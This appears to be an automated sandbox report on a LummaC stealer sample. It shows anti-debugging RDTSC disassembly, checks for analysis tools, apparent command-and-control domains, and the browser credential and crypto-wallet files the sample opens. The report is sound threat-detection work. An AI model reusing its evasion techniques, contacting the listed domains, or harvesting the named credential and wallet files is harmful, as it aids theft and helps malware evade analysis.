0x00000050 jl 00007F5E6851342Ch 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601584F second address: 6015856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6015856 second address: 6015895 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 jne 00007F5E6851343Bh 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 jmp 00007F5E68513435h 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60159C4 second address: 60159C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60159C8 second address: 6015A81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a or cx, 4143h 0x0000000f push 00000000h 0x00000011 jmp 00007F5E68513433h 0x00000016 push 99BA7508h 0x0000001b jmp 00007F5E6851342Ch 0x00000020 add dword ptr [esp], 66458B78h 0x00000027 jmp 00007F5E6851342Fh 0x0000002c mov ecx, dword ptr [ebp+122D2D24h] 0x00000032 push 00000003h 0x00000034 jns 00007F5E6851342Ch 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push ecx 0x0000003f call 00007F5E68513428h 0x00000044 pop ecx 0x00000045 mov dword ptr [esp+04h], ecx 0x00000049 add dword ptr [esp+04h], 00000018h 0x00000051 inc ecx 0x00000052 push ecx 0x00000053 ret 0x00000054 pop ecx 0x00000055 ret 0x00000056 push 00000003h 0x00000058 jmp 00007F5E6851342Ch 0x0000005d call 00007F5E68513429h 0x00000062 pushad 0x00000063 je 00007F5E6851342Ch 0x00000069 ja 00007F5E68513426h 0x0000006f push edi 0x00000070 jnl 00007F5E68513426h 0x00000076 pop edi 0x00000077 popad 0x00000078 push eax 0x00000079 push eax 0x0000007a push edx 0x0000007b push eax 0x0000007c push edx 0x0000007d js 00007F5E68513426h 0x00000083 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6015A81 second address: 6015A85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6015A85 second address: 6015A8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6015A8B second address: 6015A91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6015A91 second address: 6015AA7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5E68513426h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push ebx 0x00000011 pushad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6015AA7 second address: 6015AB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6015AB5 second address: 6015ABF instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5E68513426h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6015ABF second address: 6015AF3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68E41F23h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F5E68E41F25h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6015AF3 second address: 6015AF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6015AF9 second address: 6015AFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6015AFF second address: 6015B45 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5E68513426h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d movzx esi, si 0x00000010 lea ebx, dword ptr [ebp+1244B69Ch] 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007F5E68513428h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 0000001Dh 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 jnc 00007F5E68513428h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6015B90 second address: 6015B94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6015B94 second address: 6015B9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6015B9A second address: 6015BE1 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5E68E41F1Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F5E68E41F18h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 adc si, 3E72h 0x0000002a push 00000000h 0x0000002c mov dl, al 0x0000002e push D2A08F73h 0x00000033 push ebx 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6015BE1 second address: 6015BE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6015BE5 second address: 6015C80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 add dword ptr [esp], 2D5F710Dh 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F5E68E41F18h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 call 00007F5E68E41F27h 0x0000002d mov dword ptr [ebp+122D36CFh], edi 0x00000033 pop ecx 0x00000034 ja 00007F5E68E41F1Ch 0x0000003a push 00000003h 0x0000003c mov dh, B1h 0x0000003e push 00000000h 0x00000040 movsx ecx, si 0x00000043 push 00000003h 0x00000045 xor dword ptr [ebp+122D36CFh], ecx 0x0000004b push A6456CBCh 0x00000050 pushad 0x00000051 push edi 0x00000052 push ebx 0x00000053 pop ebx 0x00000054 pop edi 0x00000055 jmp 00007F5E68E41F21h 0x0000005a popad 0x0000005b add dword ptr [esp], 19BA9344h 0x00000062 mov esi, dword ptr [ebp+122D2DC8h] 0x00000068 lea ebx, dword ptr [ebp+1244B6A7h] 0x0000006e xchg eax, ebx 0x0000006f push edi 0x00000070 push eax 0x00000071 push edx 0x00000072 pushad 0x00000073 popad 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6033168 second address: 6033199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E68513435h 0x00000009 popad 0x0000000a push ecx 0x0000000b jmp 00007F5E68513434h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6033432 second address: 603343D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F5E68E41F16h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 603343D second address: 6033449 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F5E68513426h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6033449 second address: 6033457 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F5E68E41F1Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60335D7 second address: 60335F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68513435h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6033749 second address: 603374D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 603374D second address: 6033775 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E68513438h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e jp 00007F5E68513426h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6033A36 second address: 6033A5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E68E41F1Eh 0x00000009 popad 0x0000000a push ecx 0x0000000b jmp 00007F5E68E41F1Eh 0x00000010 pop ecx 0x00000011 push edi 0x00000012 pushad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6033A5F second address: 6033A67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6033CE4 second address: 6033CE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6033CE8 second address: 6033CF2 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5E68513426h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6033CF2 second address: 6033D34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68E41F1Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnl 00007F5E68E41F1Eh 0x00000010 pushad 0x00000011 popad 0x00000012 jno 00007F5E68E41F16h 0x00000018 pushad 0x00000019 push esi 0x0000001a pop esi 0x0000001b pushad 0x0000001c popad 0x0000001d jnp 00007F5E68E41F16h 0x00000023 popad 0x00000024 pushad 0x00000025 jng 00007F5E68E41F16h 0x0000002b jmp 00007F5E68E41F20h 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6033E6B second address: 6033E91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F5E6851342Ch 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007F5E68513432h 0x00000013 jg 00007F5E68513426h 0x00000019 jo 00007F5E68513426h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 603414C second address: 6034150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6034150 second address: 6034154 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6034154 second address: 6034164 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F5E68E41F22h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60342C0 second address: 60342D0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5E68513426h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60343EE second address: 60343F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60343F2 second address: 60343FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6034B08 second address: 6034B0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6034B0C second address: 6034B12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6034B12 second address: 6034B22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jns 00007F5E68E41F16h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6034CA5 second address: 6034CAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6034DC4 second address: 6034DC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6034DC8 second address: 6034DCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 603C261 second address: 603C26E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 603C26E second address: 603C284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jng 00007F5E68513426h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 22B9C9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3D464B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3E04FA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 463CDE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5E9DCAA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5E9DC37 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 6956	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5472	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6980	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6984	Thread sleep time: -32016s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, file.exe, 00000000.00000003.2017702605.0000000000D66000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.1711721971.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: p3ar11fter.sbs
Source: file.exe, 00000000.00000003.1711721971.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: 3xp3cts1aim.sbs
Source: file.exe, 00000000.00000003.1711721971.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: peepburry828.sbs
Source: file.exe, 00000000.00000003.1711721971.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: p10tgrace.sbs
Source: file.exe, 00000000.00000003.1711721971.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: Wallets/Electrum
Source: file.exe	String found in binary or memory: Wallets/ElectronCash
Source: file.exe	String found in binary or memory: window-state.json
Source: file.exe, 00000000.00000003.1839802820.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: file.exe	String found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: Wallets/Ethereum
Source: file.exe, 00000000.00000003.1839802820.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.1837908059.0000000000DC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
